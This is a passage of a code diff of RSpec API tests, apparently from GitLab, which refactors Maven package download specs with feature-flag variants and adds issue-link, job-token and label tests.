- get api("/projects/#{project.id}/issues/#{issue.iid}/links")
+ perform_request
expect(response).to have_gitlab_http_status(:unauthorized)
end
end
context 'when authenticated' do
- it 'returns related issues' do
- target_issue = create(:issue, project: project)
- create(:issue_link, source: issue, target: target_issue)
+ let_it_be(:issue_link1) { create(:issue_link, source: issue, target: create(:issue, project: project)) }
+ let_it_be(:issue_link2) { create(:issue_link, source: issue, target: create(:issue, project: project)) }
- get api("/projects/#{project.id}/issues/#{issue.iid}/links", user)
+ it 'returns related issues' do
+ perform_request(user)
expect(response).to have_gitlab_http_status(:ok)
expect(json_response).to be_an Array
- expect(json_response.length).to eq(1)
+ expect(json_response.length).to eq(2)
expect(response).to match_response_schema('public_api/v4/issue_links')
end
+
+ it 'returns multiple links without N + 1' do
+ perform_request(user)
+
+ control_count = ActiveRecord::QueryRecorder.new { perform_request(user) }.count
+
+ create(:issue_link, source: issue, target: create(:issue, project: project))
+
+ expect { perform_request(user) }.not_to exceed_query_limit(control_count)
+ end
end
end
@@ -82,7 +96,7 @@ RSpec.describe API::IssueLinks do
params: { target_project_id: unauthorized_project.id, target_issue_iid: target_issue.iid }
expect(response).to have_gitlab_http_status(:not_found)
- expect(json_response['message']).to eq('No Issue found for given params')
+ expect(json_response['message']).to eq('No matching issue found. Make sure that you are adding a valid issue URL.')
end
end
diff --git a/spec/requests/api/issues/get_group_issues_spec.rb b/spec/requests/api/issues/get_group_issues_spec.rb
index 3870c78deee..cebde747210 100644
--- a/spec/requests/api/issues/get_group_issues_spec.rb
+++ b/spec/requests/api/issues/get_group_issues_spec.rb
@@ -754,7 +754,7 @@ RSpec.describe API::Issues do
let(:parent_group) { create(:group) }
before do
- group.update(parent_id: parent_group.id)
+ group.update!(parent_id: parent_group.id)
group_closed_issue.reload
end
diff --git a/spec/requests/api/issues/post_projects_issues_spec.rb b/spec/requests/api/issues/post_projects_issues_spec.rb
index 5b3e2363669..7f1db620d4f 100644
--- a/spec/requests/api/issues/post_projects_issues_spec.rb
+++ b/spec/requests/api/issues/post_projects_issues_spec.rb
@@ -111,7 +111,7 @@ RSpec.describe API::Issues do
let(:not_member) { create(:user) }
before do
- project.project_feature.update(issues_access_level: ProjectFeature::PRIVATE)
+ project.project_feature.update!(issues_access_level: ProjectFeature::PRIVATE)
end
it 'renders 403' do
diff --git a/spec/requests/api/jobs_spec.rb b/spec/requests/api/jobs_spec.rb
index fe00b654d3b..cff006bed94 100644
--- a/spec/requests/api/jobs_spec.rb
+++ b/spec/requests/api/jobs_spec.rb
@@ -100,6 +100,18 @@ RSpec.describe API::Jobs do
end
end
+ context 'when token is valid but not CI_JOB_TOKEN' do
+ let(:token) { create(:personal_access_token, user: user) }
+
+ include_context 'with auth headers' do
+ let(:header) { { 'Private-Token' => token.token } }
+ end
+
+ it 'returns not found' do
+ expect(response).to have_gitlab_http_status(:not_found)
+ end
+ end
+
context 'with job token authentication header' do
include_context 'with auth headers' do
let(:header) { { API::Helpers::Runner::JOB_TOKEN_HEADER => running_job.token } }
@@ -215,7 +227,7 @@ RSpec.describe API::Jobs do
first_build = create(:ci_build, :trace_artifact, :artifacts, :test_reports, pipeline: pipeline)
first_build.runner = create(:ci_runner)
first_build.user = create(:user)
- first_build.save
+ first_build.save!
control_count = ActiveRecord::QueryRecorder.new { go }.count
@@ -223,7 +235,7 @@ RSpec.describe API::Jobs do
second_build = create(:ci_build, :trace_artifact, :artifacts, :test_reports, pipeline: second_pipeline)
second_build.runner = create(:ci_runner)
second_build.user = create(:user)
- second_build.save
+ second_build.save!
expect { go }.not_to exceed_query_limit(control_count)
end
@@ -684,7 +696,7 @@ RSpec.describe API::Jobs do
context 'with regular branch' do
before do
pipeline.reload
- pipeline.update(ref: 'master',
+ pipeline.update!(ref: 'master',
sha: project.commit('master').sha)
get_for_ref('master')
@@ -696,7 +708,7 @@ RSpec.describe API::Jobs do
context 'with branch name containing slash' do
before do
pipeline.reload
- pipeline.update(ref: 'improve/awesome',
+ pipeline.update!(ref: 'improve/awesome',
sha: project.commit('improve/awesome').sha)
end
@@ -732,7 +744,7 @@ RSpec.describe API::Jobs do
stub_artifacts_object_storage
job.success
- project.update(visibility_level: visibility_level,
+ project.update!(visibility_level: visibility_level,
public_builds: public_builds)
get_artifact_file(artifact)
@@ -826,7 +838,7 @@ RSpec.describe API::Jobs do
context 'with branch name containing slash' do
before do
pipeline.reload
- pipeline.update(ref: 'improve/awesome',
+ pipeline.update!(ref: 'improve/awesome',
sha: project.commit('improve/awesome').sha)
end
diff --git a/spec/requests/api/labels_spec.rb b/spec/requests/api/labels_spec.rb
index e3fffd3e3fd..26377c40b73 100644
--- a/spec/requests/api/labels_spec.rb
+++ b/spec/requests/api/labels_spec.rb
@@ -119,7 +119,7 @@ RSpec.describe API::Labels do
expect(label).not_to be_nil
- label.priorities.create(project: label.project, priority: 1)
+ label.priorities.create!(project: label.project, priority: 1)
label.save!
request_params = {
@@ -139,7 +139,7 @@ RSpec.describe API::Labels do
expect(label).not_to be_nil
label_id = spec_params[:name] || spec_params[:label_id]
- label.priorities.create(project: label.project, priority: 1)
+ label.priorities.create!(project: label.project, priority: 1)
label.save!
request_params = {
@@ -383,7 +383,7 @@ RSpec.describe API::Labels do
it 'returns 409 if label already exists in group' do
group = create(:group)
group_label = create(:group_label, group: group)
- project.update(group: group)
+ project.update!(group: group)
post api("/projects/#{project.id}/labels", user),
params: {
diff --git a/spec/requests/api/lint_spec.rb b/spec/requests/api/lint_spec.rb
index cf8cac773f5..f26236e0253 100644
--- a/spec/requests/api/lint_spec.rb
+++ b/spec/requests/api/lint_spec.rb
@@ -166,7 +166,7 @@ RSpec.describe API::Lint do
included_config = YAML.safe_load(included_content, [Symbol])
root_config = YAML.safe_load(yaml_content, [Symbol])
- expected_yaml = included_config.merge(root_config).except(:include).to_yaml
+ expected_yaml = included_config.merge(root_config).except(:include).deep_stringify_keys.to_yaml
expect(response).to have_gitlab_http_status(:ok)
expect(json_response).to be_an Hash
@@ -246,7 +246,7 @@ RSpec.describe API::Lint do
let(:dry_run) { false }
let(:included_content) do
- { another_test: { stage: 'test', script: 'echo 1' } }.to_yaml
+ { another_test: { stage: 'test', script: 'echo 1' } }.deep_stringify_keys.to_yaml
end
before do
@@ -299,7 +299,7 @@ RSpec.describe API::Lint do
end
let(:included_content) do
- { another_test: { stage: 'test', script: 'echo 1' } }.to_yaml
+ { another_test: { stage: 'test', script: 'echo 1' } }.deep_stringify_keys.to_yaml
end
before do
@@ -341,7 +341,7 @@ RSpec.describe API::Lint do
context 'with invalid .gitlab-ci.yml content' do
let(:yaml_content) do
- { image: 'ruby:2.7', services: ['postgres'] }.to_yaml
+ { image: 'ruby:2.7', services: ['postgres'] }.deep_stringify_keys.to_yaml
end
before do
@@ -385,7 +385,7 @@ RSpec.describe API::Lint do
included_config = YAML.safe_load(included_content, [Symbol])
root_config = YAML.safe_load(yaml_content, [Symbol])
- expected_yaml = included_config.merge(root_config).except(:include).to_yaml
+ expected_yaml = included_config.merge(root_config).except(:include).deep_stringify_keys.to_yaml
expect(response).to have_gitlab_http_status(:ok)
expect(json_response).to be_an Hash
@@ -539,7 +539,7 @@ RSpec.describe API::Lint do
context 'with invalid .gitlab-ci.yml content' do
let(:yaml_content) do
- { image: 'ruby:2.7', services: ['postgres'] }.to_yaml
+ { image: 'ruby:2.7', services: ['postgres'] }.deep_stringify_keys.to_yaml
end
context 'when running as dry run' do
diff --git a/spec/requests/api/maven_packages_spec.rb b/spec/requests/api/maven_packages_spec.rb
index 7f0e4f18e3b..3a015e98fb1 100644
--- a/spec/requests/api/maven_packages_spec.rb
+++ b/spec/requests/api/maven_packages_spec.rb
@@ -47,7 +47,21 @@ RSpec.describe API::MavenPackages do
end
end
- shared_examples 'processing HEAD requests' do
+ shared_examples 'rejecting the request for non existing maven path' do |expected_status: :not_found|
+ before do
+ if Feature.enabled?(:check_maven_path_first)
+ expect(::Packages::Maven::PackageFinder).not_to receive(:new)
+ end
+ end
+
+ it 'rejects the request' do
+ subject
+
+ expect(response).to have_gitlab_http_status(expected_status)
+ end
+ end
+
+ shared_examples 'processing HEAD requests' do |instance_level: false|
subject { head api(url) }
before do
@@ -92,6 +106,12 @@ RSpec.describe API::MavenPackages do
subject
end
+
+ context 'with a non existing maven path' do
+ let(:path) { 'foo/bar/1.2.3' }
+
+ it_behaves_like 'rejecting the request for non existing maven path', expected_status: instance_level ? :forbidden : :not_found
+ end
end
end
@@ -99,9 +119,8 @@ RSpec.describe API::MavenPackages do
context 'successful download' do
subject do
download_file(
- package_file.file_name,
- {},
- Gitlab::Auth::AuthFinders::DEPLOY_TOKEN_HEADER => deploy_token.token
+ file_name: package_file.file_name,
+ request_headers: { Gitlab::Auth::AuthFinders::DEPLOY_TOKEN_HEADER => deploy_token.token }
)
end
@@ -126,7 +145,7 @@ RSpec.describe API::MavenPackages do
shared_examples 'downloads with a job token' do
context 'with a running job' do
it 'allows download with job token' do
- download_file(package_file.file_name, job_token: job.token)
+ download_file(file_name: package_file.file_name, params: { job_token: job.token })
expect(response).to have_gitlab_http_status(:ok)
expect(response.media_type).to eq('application/octet-stream')
@@ -139,7 +158,7 @@ RSpec.describe API::MavenPackages do
end
it 'returns unauthorized error' do
- download_file(package_file.file_name, job_token: job.token)
+ download_file(file_name: package_file.file_name, params: { job_token: job.token })
expect(response).to have_gitlab_http_status(:unauthorized)
end
@@ -147,133 +166,217 @@ RSpec.describe API::MavenPackages do
end
describe 'GET /api/v4/packages/maven/*path/:file_name' do
- context 'a public project' do
- subject { download_file(package_file.file_name) }
+ shared_examples 'handling all conditions' do
+ context 'a public project' do
+ subject { download_file(file_name: package_file.file_name) }
- it_behaves_like 'tracking the file download event'
+ it_behaves_like 'tracking the file download event'
- it 'returns the file' do
- subject
+ it 'returns the file' do
+ subject
- expect(response).to have_gitlab_http_status(:ok)
- expect(response.media_type).to eq('application/octet-stream')
- end
+ expect(response).to have_gitlab_http_status(:ok)
+ expect(response.media_type).to eq('application/octet-stream')
+ end
- it 'returns sha1 of the file' do
- download_file(package_file.file_name + '.sha1')
+ it 'returns sha1 of the file' do
+ download_file(file_name: package_file.file_name + '.sha1')
- expect(response).to have_gitlab_http_status(:ok)
- expect(response.media_type).to eq('text/plain')
- expect(response.body).to eq(package_file.file_sha1)
- end
- end
+ expect(response).to have_gitlab_http_status(:ok)
+ expect(response.media_type).to eq('text/plain')
+ expect(response.body).to eq(package_file.file_sha1)
+ end
- context 'internal project' do
- before do
- project.team.truncate
- project.update!(visibility_level: Gitlab::VisibilityLevel::INTERNAL)
+ context 'with a non existing maven path' do
+ subject { download_file(file_name: package_file.file_name, path: 'foo/bar/1.2.3') }
+
+ it_behaves_like 'rejecting the request for non existing maven path', expected_status: :forbidden
+ end
end
- subject { download_file_with_token(package_file.file_name) }
+ context 'internal project' do
+ before do
+ project.team.truncate
+ project.update!(visibility_level: Gitlab::VisibilityLevel::INTERNAL)
+ end
- it_behaves_like 'tracking the file download event'
+ subject { download_file_with_token(file_name: package_file.file_name) }
- it 'returns the file' do
- subject
+ it_behaves_like 'tracking the file download event'
- expect(response).to have_gitlab_http_status(:ok)
- expect(response.media_type).to eq('application/octet-stream')
- end
+ it 'returns the file' do
+ subject
- it 'denies download when no private token' do
- download_file(package_file.file_name)
+ expect(response).to have_gitlab_http_status(:ok)
+ expect(response.media_type).to eq('application/octet-stream')
+ end
- expect(response).to have_gitlab_http_status(:forbidden)
- end
+ it 'denies download when no private token' do
+ download_file(file_name: package_file.file_name)
- it_behaves_like 'downloads with a job token'
+ expect(response).to have_gitlab_http_status(:forbidden)
+ end
- it_behaves_like 'downloads with a deploy token'
- end
+ it_behaves_like 'downloads with a job token'
- context 'private project' do
- subject { download_file_with_token(package_file.file_name) }
+ it_behaves_like 'downloads with a deploy token'
- before do
- project.update!(visibility_level: Gitlab::VisibilityLevel::PRIVATE)
+ context 'with a non existing maven path' do
+ subject { download_file_with_token(file_name: package_file.file_name, path: 'foo/bar/1.2.3') }
+
+ it_behaves_like 'rejecting the request for non existing maven path', expected_status: :forbidden
+ end
end
- it_behaves_like 'tracking the file download event'
+ context 'private project' do
+ subject { download_file_with_token(file_name: package_file.file_name) }
- it 'returns the file' do
- subject
+ before do
+ project.update!(visibility_level: Gitlab::VisibilityLevel::PRIVATE)
+ end
- expect(response).to have_gitlab_http_status(:ok)
- expect(response.media_type).to eq('application/octet-stream')
- end
+ it_behaves_like 'tracking the file download event'
- it 'denies download when not enough permissions' do
- project.add_guest(user)
+ it 'returns the file' do
+ subject
- subject
+ expect(response).to have_gitlab_http_status(:ok)
+ expect(response.media_type).to eq('application/octet-stream')
+ end
- expect(response).to have_gitlab_http_status(:forbidden)
- end
+ it 'denies download when not enough permissions' do
+ project.add_guest(user)
+
+ subject
- it 'denies download when no private token' do
- download_file(package_file.file_name)
+ expect(response).to have_gitlab_http_status(:forbidden)
+ end
- expect(response).to have_gitlab_http_status(:forbidden)
- end
+ it 'denies download when no private token' do
+ download_file(file_name: package_file.file_name)
- it_behaves_like 'downloads with a job token'
+ expect(response).to have_gitlab_http_status(:forbidden)
+ end
- it_behaves_like 'downloads with a deploy token'
+ it_behaves_like 'downloads with a job token'
- it 'does not allow download by a unauthorized deploy token with same id as a user with access' do
- unauthorized_deploy_token = create(:deploy_token, read_package_registry: true, write_package_registry: true)
+ it_behaves_like 'downloads with a deploy token'
- another_user = create(:user)
- project.add_developer(another_user)
+ it 'does not allow download by a unauthorized deploy token with same id as a user with access' do
+ unauthorized_deploy_token = create(:deploy_token, read_package_registry: true, write_package_registry: true)
- # We force the id of the deploy token and the user to be the same
- unauthorized_deploy_token.update!(id: another_user.id)
+ another_user = create(:user)
+ project.add_developer(another_user)
- download_file(
- package_file.file_name,
- {},
- Gitlab::Auth::AuthFinders::DEPLOY_TOKEN_HEADER => unauthorized_deploy_token.token
- )
+ # We force the id of the deploy token and the user to be the same
+ unauthorized_deploy_token.update!(id: another_user.id)
- expect(response).to have_gitlab_http_status(:forbidden)
+ download_file(
+ file_name: package_file.file_name,
+ request_headers: { Gitlab::Auth::AuthFinders::DEPLOY_TOKEN_HEADER => unauthorized_deploy_token.token }
+ )
+
+ expect(response).to have_gitlab_http_status(:forbidden)
+ end
+
+ context 'with a non existing maven path' do
+ subject { download_file_with_token(file_name: package_file.file_name, path: 'foo/bar/1.2.3') }
+
+ it_behaves_like 'rejecting the request for non existing maven path', expected_status: :forbidden
+ end
+ end
+
+ context 'project name is different from a package name' do
+ before do
+ maven_metadatum.update!(path: "wrong_name/#{package.version}")
+ end
+
+ it 'rejects request' do
+ download_file(file_name: package_file.file_name)
+
+ expect(response).to have_gitlab_http_status(:forbidden)
+ end
end
end
- context 'project name is different from a package name' do
+ context 'with maven_packages_group_level_improvements enabled' do
before do
- maven_metadatum.update!(path: "wrong_name/#{package.version}")
+ stub_feature_flags(maven_packages_group_level_improvements: true)
end
- it 'rejects request' do
- download_file(package_file.file_name)
+ it_behaves_like 'handling all conditions'
+ end
- expect(response).to have_gitlab_http_status(:forbidden)
+ context 'with maven_packages_group_level_improvements disabled' do
+ before do
+ stub_feature_flags(maven_packages_group_level_improvements: false)
end
+
+ it_behaves_like 'handling all conditions'
end
- def download_file(file_name, params = {}, request_headers = headers)
- get api("/packages/maven/#{maven_metadatum.path}/#{file_name}"), params: params, headers: request_headers
+ context 'with check_maven_path_first enabled' do
+ before do
+ stub_feature_flags(check_maven_path_first: true)
+ end
+
+ it_behaves_like 'handling all conditions'
+ end
+
+ context 'with check_maven_path_first disabled' do
+ before do
+ stub_feature_flags(check_maven_path_first: false)
+ end
+
+ it_behaves_like 'handling all conditions'
end
- def download_file_with_token(file_name, params = {}, request_headers = headers_with_token)
- download_file(file_name, params, request_headers)
+ def download_file(file_name:, params: {}, request_headers: headers, path: maven_metadatum.path)
+ get api("/packages/maven/#{path}/#{file_name}"), params: params, headers: request_headers
+ end
+
+ def download_file_with_token(file_name:, params: {}, request_headers: headers_with_token, path: maven_metadatum.path)
+ download_file(file_name: file_name, params: params, request_headers: request_headers, path: path)
end
end
describe 'HEAD /api/v4/packages/maven/*path/:file_name' do
- let(:url) { "/packages/maven/#{package.maven_metadatum.path}/#{package_file.file_name}" }
+ let(:path) { package.maven_metadatum.path }
+ let(:url) { "/packages/maven/#{path}/#{package_file.file_name}" }
+
+ it_behaves_like 'processing HEAD requests', instance_level: true
- it_behaves_like 'processing HEAD requests'
+ context 'with maven_packages_group_level_improvements enabled' do
+ before do
+ stub_feature_flags(maven_packages_group_level_improvements: true)
+ end
+
+ it_behaves_like 'processing HEAD requests', instance_level: true
+ end
+
+ context 'with maven_packages_group_level_improvements disabled' do
+ before do
+ stub_feature_flags(maven_packages_group_level_improvements: false)
+ end
+
+ it_behaves_like 'processing HEAD requests', instance_level: true
+ end
+
+ context 'with check_maven_path_first enabled' do
+ before do
+ stub_feature_flags(check_maven_path_first: true)
+ end
+
+ it_behaves_like 'processing HEAD requests', instance_level: true
+ end
+
+ context 'with check_maven_path_first disabled' do
+ before do
+ stub_feature_flags(check_maven_path_first: false)
+ end
+
+ it_behaves_like 'processing HEAD requests', instance_level: true
+ end
end
describe 'GET /api/v4/groups/:id/-/packages/maven/*path/:file_name' do
@@ -282,91 +385,299 @@ RSpec.describe API::MavenPackages do
group.add_developer(user)
end
- context 'a public project' do
- subject { download_file(package_file.file_name) }
+ shared_examples 'handling all conditions' do
+ context 'a public project' do
+ subject { download_file(file_name: package_file.file_name) }
- it_behaves_like 'tracking the file download event'
+ it_behaves_like 'tracking the file download event'
- it 'returns the file' do
- subject
+ it 'returns the file' do
+ subject
- expect(response).to have_gitlab_http_status(:ok)
- expect(response.media_type).to eq('application/octet-stream')
+ expect(response).to have_gitlab_http_status(:ok)
+ expect(response.media_type).to eq('application/octet-stream')
+ end
+
+ it 'returns sha1 of the file' do
+ download_file(file_name: package_file.file_name + '.sha1')
+
+ expect(response).to have_gitlab_http_status(:ok)
+ expect(response.media_type).to eq('text/plain')
+ expect(response.body).to eq(package_file.file_sha1)
+ end
+
+ context 'with a non existing maven path' do
+ subject { download_file(file_name: package_file.file_name, path: 'foo/bar/1.2.3') }
+
+ it_behaves_like 'rejecting the request for non existing maven path'
+ end
end
- it 'returns sha1 of the file' do
- download_file(package_file.file_name + '.sha1')
+ context 'internal project' do
+ before do
+ group.group_member(user).destroy!
+ project.update!(visibility_level: Gitlab::VisibilityLevel::INTERNAL)
+ end
+
+ subject { download_file_with_token(file_name: package_file.file_name) }
- expect(response).to have_gitlab_http_status(:ok)
- expect(response.media_type).to eq('text/plain')
- expect(response.body).to eq(package_file.file_sha1)
+ it_behaves_like 'tracking the file download event'
+
+ it 'returns the file' do
+ subject
+
+ expect(response).to have_gitlab_http_status(:ok)
+ expect(response.media_type).to eq('application/octet-stream')
+ end
+
+ it 'denies download when no private token' do
+ download_file(file_name: package_file.file_name)
+
+ expect(response).to have_gitlab_http_status(:not_found)
+ end
+
+ it_behaves_like 'downloads with a job token'
+
+ it_behaves_like 'downloads with a deploy token'
+
+ context 'with a non existing maven path' do
+ subject { download_file_with_token(file_name: package_file.file_name, path: 'foo/bar/1.2.3') }
+
+ it_behaves_like 'rejecting the request for non existing maven path'
+ end
end
- end
- context 'internal project' do
- before do
- group.group_member(user).destroy!
- project.update!(visibility_level: Gitlab::VisibilityLevel::INTERNAL)
+ context 'private project' do
+ before do
+ project.update!(visibility_level: Gitlab::VisibilityLevel::PRIVATE)
+ end
+
+ subject { download_file_with_token(file_name: package_file.file_name) }
+
+ it_behaves_like 'tracking the file download event'
+
+ it 'returns the file' do
+ subject
+
+ expect(response).to have_gitlab_http_status(:ok)
+ expect(response.media_type).to eq('application/octet-stream')
+ end
+
+ it 'denies download when not enough permissions' do
+ group.add_guest(user)
+
+ subject
+
+ status = Feature.enabled?(:maven_packages_group_level_improvements, default_enabled: :yaml) ? :not_found : :forbidden
+ expect(response).to have_gitlab_http_status(status)
+ end
+
+ it 'denies download when no private token' do
+ download_file(file_name: package_file.file_name)
+
+ expect(response).to have_gitlab_http_status(:not_found)
+ end
+
+ it_behaves_like 'downloads with a job token'
+
+ it_behaves_like 'downloads with a deploy token'
+
+ context 'with a non existing maven path' do
+ subject { download_file_with_token(file_name: package_file.file_name, path: 'foo/bar/1.2.3') }
+
+ it_behaves_like 'rejecting the request for non existing maven path'
+ end
+
+ context 'with group deploy token' do
+ subject { download_file_with_token(file_name: package_file.file_name, request_headers: group_deploy_token_headers) }
+
+ it 'returns the file' do
+ subject
+
+ expect(response).to have_gitlab_http_status(:ok)
+ expect(response.media_type).to eq('application/octet-stream')
+ end
+
+ it 'returns the file with only write_package_registry scope' do
+ deploy_token_for_group.update!(read_package_registry: false)
+
+ subject
+
+ expect(response).to have_gitlab_http_status(:ok)
+ expect(response.media_type).to eq('application/octet-stream')
+ end
+
+ context 'with a non existing maven path' do
+ subject { download_file_with_token(file_name: package_file.file_name, path: 'foo/bar/1.2.3', request_headers: group_deploy_token_headers) }
+
+ it_behaves_like 'rejecting the request for non existing maven path'
+ end
+ end
+
+ context 'with a reporter from a subgroup accessing the root group' do
+ let_it_be(:root_group) { create(:group, :private) }
+ let_it_be(:group) { create(:group, :private, parent: root_group) }
+
+ subject { download_file_with_token(file_name: package_file.file_name, request_headers: headers_with_token, group_id: root_group.id) }
+
+ before do
+ project.update!(namespace: group)
+ group.add_reporter(user)
+ end
+
+ it 'returns the file' do
+ subject
+
+ expect(response).to have_gitlab_http_status(:ok)
+ expect(response.media_type).to eq('application/octet-stream')
+ end
+
+ context 'with a non existing maven path' do
+ subject { download_file_with_token(file_name: package_file.file_name, path: 'foo/bar/1.2.3', request_headers: headers_with_token, group_id: root_group.id) }
+
+ it_behaves_like 'rejecting the request for non existing maven path'
+ end
+ end
end
- subject { download_file_with_token(package_file.file_name) }
+ context 'maven metadata file' do
+ let_it_be(:sub_group1) { create(:group, parent: group) }
+ let_it_be(:sub_group2) { create(:group, parent: group) }
+ let_it_be(:project1) { create(:project, :private, group: sub_group1) }
+ let_it_be(:project2) { create(:project, :private, group: sub_group2) }
+ let_it_be(:project3) { create(:project, :private, group: sub_group1) }
+ let_it_be(:package_name) { 'foo' }
+ let_it_be(:package1) { create(:maven_package, project: project1, name: package_name, version: nil) }
+ let_it_be(:package_file1) { create(:package_file, :xml, package: package1, file_name: 'maven-metadata.xml') }
+ let_it_be(:package2) { create(:maven_package, project: project2, name: package_name, version: nil) }
+ let_it_be(:package_file2) { create(:package_file, :xml, package: package2, file_name: 'maven-metadata.xml') }
+ let_it_be(:package3) { create(:maven_package, project: project3, name: package_name, version: nil) }
+ let_it_be(:package_file3) { create(:package_file, :xml, package: package3, file_name: 'maven-metadata.xml') }
- it_behaves_like 'tracking the file download event'
+ let(:maven_metadatum) { package3.maven_metadatum }
- it 'returns the file' do
- subject
+ subject { download_file_with_token(file_name: package_file3.file_name) }
- expect(response).to have_gitlab_http_status(:ok)
- expect(response.media_type).to eq('application/octet-stream')
+ before do
+ sub_group1.add_developer(user)
+ sub_group2.add_developer(user)
+ # the package with the most recently published file should be returned
+ create(:package_file, :xml, package: package2)
+ end
+
+ context 'in multiple versionless packages' do
+ it 'downloads the file' do
+ expect(::Packages::PackageFileFinder)
+ .to receive(:new).with(package2, 'maven-metadata.xml').and_call_original
+
+ subject
+ end
+ end
+
+ context 'in multiple snapshot packages' do
+ before do
+ version = '1.0.0-SNAPSHOT'
+ [package1, package2, package3].each do |pkg|
+ pkg.update!(version: version)
+
+ pkg.maven_metadatum.update!(path: "#{pkg.name}/#{pkg.version}")
+ end
+ end
+
+ it 'downloads the file' do
+ expect(::Packages::PackageFileFinder)
+ .to receive(:new).with(package3, 'maven-metadata.xml').and_call_original
+
+ subject
+ end
+ end
+ end
+ end
+
+ context 'with maven_packages_group_level_improvements enabled' do
+ before do
+ stub_feature_flags(maven_packages_group_level_improvements: true)
end
- it 'denies download when no private token' do
- download_file(package_file.file_name)
+ it_behaves_like 'handling all conditions'
+ end
- expect(response).to have_gitlab_http_status(:not_found)
+ context 'with maven_packages_group_level_improvements disabled' do
+ before do
+ stub_feature_flags(maven_packages_group_level_improvements: false)
end
- it_behaves_like 'downloads with a job token'
+ it_behaves_like 'handling all conditions'
+ end
+
+ context 'with check_maven_path_first enabled' do
+ before do
+ stub_feature_flags(check_maven_path_first: true)
+ end
- it_behaves_like 'downloads with a deploy token'
+ it_behaves_like 'handling all conditions'
end
- context 'private project' do
+ context 'with check_maven_path_first disabled' do
before do
- project.update!(visibility_level: Gitlab::VisibilityLevel::PRIVATE)
+ stub_feature_flags(check_maven_path_first: false)
end
- subject { download_file_with_token(package_file.file_name) }
+ it_behaves_like 'handling all conditions'
+ end
- it_behaves_like 'tracking the file download event'
+ def download_file(file_name:, params: {}, request_headers: headers, path: maven_metadatum.path, group_id: group.id)
+ get api("/groups/#{group_id}/-/packages/maven/#{path}/#{file_name}"), params: params, headers: request_headers
+ end
- it 'returns the file' do
- subject
+ def download_file_with_token(file_name:, params: {}, request_headers: headers_with_token, path: maven_metadatum.path, group_id: group.id)
+ download_file(file_name: file_name, params: params, request_headers: request_headers, path: path, group_id: group_id)
+ end
+ end
- expect(response).to have_gitlab_http_status(:ok)
- expect(response.media_type).to eq('application/octet-stream')
+ describe 'HEAD /api/v4/groups/:id/-/packages/maven/*path/:file_name' do
+ let(:path) { package.maven_metadatum.path }
+ let(:url) { "/groups/#{group.id}/-/packages/maven/#{path}/#{package_file.file_name}" }
+
+ context 'with maven_packages_group_level_improvements enabled' do
+ before do
+ stub_feature_flags(maven_packages_group_level_improvements: true)
end
- it 'denies download when not enough permissions' do
- group.add_guest(user)
+ it_behaves_like 'processing HEAD requests'
+ end
- subject
+ context 'with maven_packages_group_level_improvements disabled' do
+ before do
+ stub_feature_flags(maven_packages_group_level_improvements: false)
+ end
- expect(response).to have_gitlab_http_status(:forbidden)
+ it_behaves_like 'processing HEAD requests'
+ end
+
+ context 'with check_maven_path_first enabled' do
+ before do
+ stub_feature_flags(check_maven_path_first: true)
end
- it 'denies download when no private token' do
- download_file(package_file.file_name)
+ it_behaves_like 'processing HEAD requests'
+ end
- expect(response).to have_gitlab_http_status(:not_found)
+ context 'with check_maven_path_first disabled' do
+ before do
+ stub_feature_flags(check_maven_path_first: false)
end
- it_behaves_like 'downloads with a job token'
+ it_behaves_like 'processing HEAD requests'
+ end
+ end
- it_behaves_like 'downloads with a deploy token'
+ describe 'GET /api/v4/projects/:id/packages/maven/*path/:file_name' do
+ shared_examples 'handling all conditions' do
+ context 'a public project' do
+ subject { download_file(file_name: package_file.file_name) }
- context 'with group deploy token' do
- subject { download_file_with_token(package_file.file_name, {}, group_deploy_token_headers) }
+ it_behaves_like 'tracking the file download event'
it 'returns the file' do
subject
@@ -375,108 +686,145 @@ RSpec.describe API::MavenPackages do
expect(response.media_type).to eq('application/octet-stream')
end
- it 'returns the file with only write_package_registry scope' do
- deploy_token_for_group.update!(read_package_registry: false)
+ it 'returns sha1 of the file' do
+ download_file(file_name: package_file.file_name + '.sha1')
+
+ expect(response).to have_gitlab_http_status(:ok)
+ expect(response.media_type).to eq('text/plain')
+ expect(response.body).to eq(package_file.file_sha1)
+ end
+
+ context 'with a non existing maven path' do
+ subject { download_file(file_name: package_file.file_name, path: 'foo/bar/1.2.3') }
+
+ it_behaves_like 'rejecting the request for non existing maven path'
+ end
+ end
+
+ context 'private project' do
+ before do
+ project.update!(visibility_level: Gitlab::VisibilityLevel::PRIVATE)
+ end
+
+ subject { download_file_with_token(file_name: package_file.file_name) }
+
+ it_behaves_like 'tracking the file download event'
+ it 'returns the file' do
subject
expect(response).to have_gitlab_http_status(:ok)
expect(response.media_type).to eq('application/octet-stream')
end
- end
- end
- def download_file(file_name, params = {}, request_headers = headers)
- get api("/groups/#{group.id}/-/packages/maven/#{maven_metadatum.path}/#{file_name}"), params: params, headers: request_headers
- end
+ it 'denies download when not enough permissions' do
+ project.add_guest(user)
- def download_file_with_token(file_name, params = {}, request_headers = headers_with_token)
- download_file(file_name, params, request_headers)
- end
- end
-
- describe 'HEAD /api/v4/groups/:id/-/packages/maven/*path/:file_name' do
- let(:url) { "/groups/#{group.id}/-/packages/maven/#{package.maven_metadatum.path}/#{package_file.file_name}" }
+ subject
- it_behaves_like 'processing HEAD requests'
- end
+ expect(response).to have_gitlab_http_status(:forbidden)
+ end
- describe 'GET /api/v4/projects/:id/packages/maven/*path/:file_name' do
- context 'a public project' do
- subject { download_file(package_file.file_name) }
+ it 'denies download when no private token' do
+ download_file(file_name: package_file.file_name)
- it_behaves_like 'tracking the file download event'
+ expect(response).to have_gitlab_http_status(:not_found)
+ end
- it 'returns the file' do
- subject
+ it_behaves_like 'downloads with a job token'
- expect(response).to have_gitlab_http_status(:ok)
- expect(response.media_type).to eq('application/octet-stream')
- end
+ it_behaves_like 'downloads with a deploy token'
- it 'returns sha1 of the file' do
- download_file(package_file.file_name + '.sha1')
+ context 'with a non existing maven path' do
+ subject { download_file_with_token(file_name: package_file.file_name, path: 'foo/bar/1.2.3') }
- expect(response).to have_gitlab_http_status(:ok)
- expect(response.media_type).to eq('text/plain')
- expect(response.body).to eq(package_file.file_sha1)
+ it_behaves_like 'rejecting the request for non existing maven path'
+ end
end
end
- context 'private project' do
+ context 'with maven_packages_group_level_improvements enabled' do
before do
- project.update!(visibility_level: Gitlab::VisibilityLevel::PRIVATE)
+ stub_feature_flags(maven_packages_group_level_improvements: true)
end
- subject { download_file_with_token(package_file.file_name) }
-
- it_behaves_like 'tracking the file download event'
-
- it 'returns the file' do
- subject
+ it_behaves_like 'handling all conditions'
+ end
- expect(response).to have_gitlab_http_status(:ok)
- expect(response.media_type).to eq('application/octet-stream')
